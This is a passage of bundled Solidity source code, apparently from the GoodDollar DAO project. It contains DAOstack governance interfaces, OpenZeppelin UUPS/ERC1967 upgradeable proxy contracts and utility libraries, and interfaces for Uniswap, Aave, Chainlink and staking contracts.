(address); function owner() external view returns (address); } interface Controller { event RegisterScheme(address indexed _sender, address indexed _scheme); event UnregisterScheme(address indexed _sender, address indexed _scheme); function genericCall( address _contract, bytes calldata _data, address _avatar, uint256 _value ) external returns (bool, bytes memory); function avatar() external view returns (address); function unregisterScheme(address _scheme, address _avatar) external returns (bool); function unregisterSelf(address _avatar) external returns (bool); function registerScheme( address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar ) external returns (bool); function isSchemeRegistered(address _scheme, address _avatar) external view returns (bool); function getSchemePermissions(address _scheme, address _avatar) external view returns (bytes4); function addGlobalConstraint( address _constraint, bytes32 _paramHash, address _avatar ) external returns (bool); function mintTokens( uint256 _amount, address _beneficiary, address _avatar ) external returns (bool); function externalTokenTransfer( address _token, address _recipient, uint256 _amount, address _avatar ) external returns (bool); function sendEther( uint256 _amountInWei, address payable _to, address _avatar ) external returns (bool); } interface GlobalConstraintInterface { enum CallPhase { Pre, Post, PreAndPost } function pre( address _scheme, bytes32 _params, bytes32 _method ) external returns (bool); /** * @dev when return if this globalConstraints is pre, post or both. * @return CallPhase enum indication Pre, Post or PreAndPost. */ function when() external returns (CallPhase); } interface ReputationInterface { function balanceOf(address _user) external view returns (uint256); function balanceOfAt(address _user, uint256 _blockNumber) external view returns (uint256); function getVotes(address _user) external view returns (uint256); function getVotesAt( address _user, bool _global, uint256 _blockNumber ) external view returns (uint256); function totalSupply() external view returns (uint256); function totalSupplyAt(uint256 _blockNumber) external view returns (uint256); function delegateOf(address _user) external returns (address); } interface SchemeRegistrar { function proposeScheme( Avatar _avatar, address _scheme, bytes32 _parametersHash, bytes4 _permissions, string memory _descriptionHash ) external returns (bytes32); event NewSchemeProposal( address indexed _avatar, bytes32 indexed _proposalId, address indexed _intVoteInterface, address _scheme, bytes32 _parametersHash, bytes4 _permissions, string _descriptionHash ); } interface IntVoteInterface { event NewProposal( bytes32 indexed _proposalId, address indexed _organization, uint256 _numOfChoices, address _proposer, bytes32 _paramsHash ); event ExecuteProposal( bytes32 indexed _proposalId, address indexed _organization, uint256 _decision, uint256 _totalReputation ); event VoteProposal( bytes32 indexed _proposalId, address indexed _organization, address indexed _voter, uint256 _vote, uint256 _reputation ); event CancelProposal( bytes32 indexed _proposalId, address indexed _organization ); event CancelVoting( bytes32 indexed _proposalId, address indexed _organization, address indexed _voter ); /** * @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being * generated by calculating keccak256 of a incremented counter. * @param _numOfChoices number of voting choices * @param _proposalParameters defines the parameters of the voting machine used for this proposal * @param _proposer address * @param _organization address - if this address is zero the msg.sender will be used as the organization address. * @return proposal's id. */ function propose( uint256 _numOfChoices, bytes32 _proposalParameters, address _proposer, address _organization ) external returns (bytes32); function vote( bytes32 _proposalId, uint256 _vote, uint256 _rep, address _voter ) external returns (bool); function cancelVote(bytes32 _proposalId) external; function getNumberOfChoices(bytes32 _proposalId) external view returns (uint256); function isVotable(bytes32 _proposalId) external view returns (bool); /** * @dev voteStatus returns the reputation voted for a proposal for a specific voting choice. * @param _proposalId the ID of the proposal * @param _choice the index in the * @return voted reputation for the given choice */ function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns (uint256); /** * @dev isAbstainAllow returns if the voting machine allow abstain (0) * @return bool true or false */ function isAbstainAllow() external pure returns (bool); /** * @dev getAllowedRangeOfChoices returns the allowed range of choices for a voting machine. * @return min - minimum number of choices max - maximum number of choices */ function getAllowedRangeOfChoices() external pure returns (uint256 min, uint256 max); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./DAOContract.sol"; /** @title Simple contract that adds upgradability to DAOContract */ contract DAOUpgradeableContract is Initializable, UUPSUpgradeable, DAOContract { function _authorizeUpgrade(address) internal virtual override { _onlyAvatar(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import "../DAOStackInterfaces.sol"; import "../Interfaces.sol"; /** @title Simple contract that keeps DAO contracts registery */ contract DAOContract { Controller public dao; address public avatar; INameService public nameService; function _onlyAvatar() internal view { require( address(dao.avatar()) == msg.sender, "only avatar can call this method" ); } function setDAO(INameService _ns) internal { nameService = _ns; updateAvatar(); } function updateAvatar() public { dao = Controller(nameService.getAddress("CONTROLLER")); avatar = dao.avatar(); } function nativeToken() public view returns (IGoodDollar) { return IGoodDollar(nameService.getAddress("GOODDOLLAR")); } uint256[50] private gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT import { DataTypes } from "./utils/DataTypes.sol"; pragma solidity >=0.8.0; pragma experimental ABIEncoderV2; interface ERC20 { function balanceOf(address addr) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function decimals() external view returns (uint8); function mint(address to, uint256 mintAmount) external returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); event Transfer(address indexed from, address indexed to, uint256 amount); event Transfer( address indexed from, address indexed to, uint256 amount, bytes data ); } interface cERC20 is ERC20 { function mint(uint256 mintAmount) external returns (uint256); function redeemUnderlying(uint256 mintAmount) external returns (uint256); function redeem(uint256 mintAmount) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function underlying() external returns (address); } interface IGoodDollar is ERC20 { function getFees(uint256 value) external view returns (uint256, bool); function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function renounceMinter() external; function addMinter(address minter) external; function isMinter(address minter) external view returns (bool); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool); function formula() external view returns (address); } interface IERC2917 is ERC20 { /// @dev This emit when interests amount per block is changed by the owner of the contract. /// It emits with the old interests amount and the new interests amount. event InterestRatePerBlockChanged(uint256 oldValue, uint256 newValue); /// @dev This emit when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityIncreased(address indexed user, uint256 value); /// @dev This emit when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityDecreased(address indexed user, uint256 value); /// @dev Return the current contract's interests rate per block. /// @return The amount of interests currently producing per each block. function interestsPerBlock() external view returns (uint256); /// @notice Change the current contract's interests rate. /// @dev Note the best practice will be restrict the gross product provider's contract address to call this. /// @return The true/fase to notice that the value has successfully changed or not, when it succeed, it will emite the InterestRatePerBlockChanged event. function changeInterestRatePerBlock(uint256 value) external returns (bool); /// @notice It will get the productivity of given user. /// @dev it will return 0 if user has no productivity proved in the contract. /// @return user's productivity and overall productivity. function getProductivity(address user) external view returns (uint256, uint256); /// @notice increase a user's productivity. /// @dev Note the best practice will be restrict the callee to prove of productivity's contract address. /// @return true to confirm that the productivity added success. function increaseProductivity(address user, uint256 value) external returns (bool); /// @notice decrease a user's productivity. /// @dev Note the best practice will be restrict the callee to prove of productivity's contract address. /// @return true to confirm that the productivity removed success. function decreaseProductivity(address user, uint256 value) external returns (bool); /// @notice take() will return the interests that callee will get at current block height. /// @dev it will always calculated by block.number, so it will change when block height changes. /// @return amount of the interests that user are able to mint() at current block height. function take() external view returns (uint256); /// @notice similar to take(), but with the block height joined to calculate return. /// @dev for instance, it returns (_amount, _block), which means at block height _block, the callee has accumulated _amount of interests. /// @return amount of interests and the block height. function takeWithBlock() external view returns (uint256, uint256); /// @notice mint the avaiable interests to callee. /// @dev once it mint, the amount of interests will transfer to callee's address. /// @return the amount of interests minted. function mint() external returns (uint256); } interface Staking { struct Staker { // The staked DAI amount uint256 stakedDAI; // The latest block number which the // staker has staked tokens uint256 lastStake; } function stakeDAI(uint256 amount) external; function withdrawStake() external; function stakers(address staker) external view returns (Staker memory); } interface Uniswap { function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function WETH() external pure returns (address); function factory() external pure returns (address); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountOut( uint256 amountI, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountsOut(uint256 amountIn, address[] memory path) external pure returns (uint256[] memory amounts); } interface UniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address); } interface UniswapPair { function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function kLast() external view returns (uint256); function token0() external view returns (address); function token1() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); } interface Reserve { function buy( address _buyWith, uint256 _tokenAmount, uint256 _minReturn ) external returns (uint256); } interface IIdentity { function isWhitelisted(address user) external view returns (bool); function addWhitelistedWithDID(address account, string memory did) external; function removeWhitelisted(address account) external; function addIdentityAdmin(address account) external returns (bool); function setAvatar(address _avatar) external; function isIdentityAdmin(address account) external view returns (bool); function owner() external view returns (address); event WhitelistedAdded(address user); } interface IUBIScheme { function currentDay() external view returns (uint256); function periodStart() external view returns (uint256); function hasClaimed(address claimer) external view returns (bool); } interface IFirstClaimPool { function awardUser(address user) external returns (uint256); function claimAmount() external view returns (uint256); } interface ProxyAdmin { function getProxyImplementation(address proxy) external view returns (address); function getProxyAdmin(address proxy) external view returns (address); function upgrade(address proxy, address implementation) external; function owner() external view returns (address); function transferOwnership(address newOwner) external; } /** * @dev Interface for chainlink oracles to obtain price datas */ interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestAnswer() external view returns (int256); } /** @dev interface for AAVE lending Pool */ interface ILendingPool { /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); } interface IDonationStaking { function stakeDonations() external payable; } interface INameService { function getAddress(string memory _name) external view returns (address); } interface IAaveIncentivesController { /** * @dev Claims reward for an user, on all the assets of the lending pool, accumulating the pending rewards * @param amount Amount of rewards to claim * @param to Address that will be receiving the rewards * @return Rewards claimed **/ function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); /** * @dev Returns the total of rewards of an user, already accrued + not yet accrued * @param user The address of the user * @return The rewards **/ function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); } interface IGoodStaking { function collectUBIInterest(address recipient) external returns ( uint256, uint256, uint256 ); function iToken() external view returns (address); function currentGains( bool _returnTokenBalanceInUSD, bool _returnTokenGainsInUSD ) external view returns ( uint256, uint256, uint256, uint256, uint256 ); function getRewardEarned(address user) external view returns (uint256); function getGasCostForInterestTransfer() external view returns (uint256); function rewardsMinted( address user, uint256 rewardsPerBlock, uint256 blockStart, uint256 blockEnd ) external returns (uint256); } interface IHasRouter { function getRouter() external view returns (Uniswap); } interface IAdminWallet { function addAdmins(address payable[] memory _admins) external; function removeAdmins(address[] memory _admins) external; function owner() external view returns (address); function transferOwnership(address _owner) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } enum InterestRateMode { NONE, STABLE, VARIABLE } }
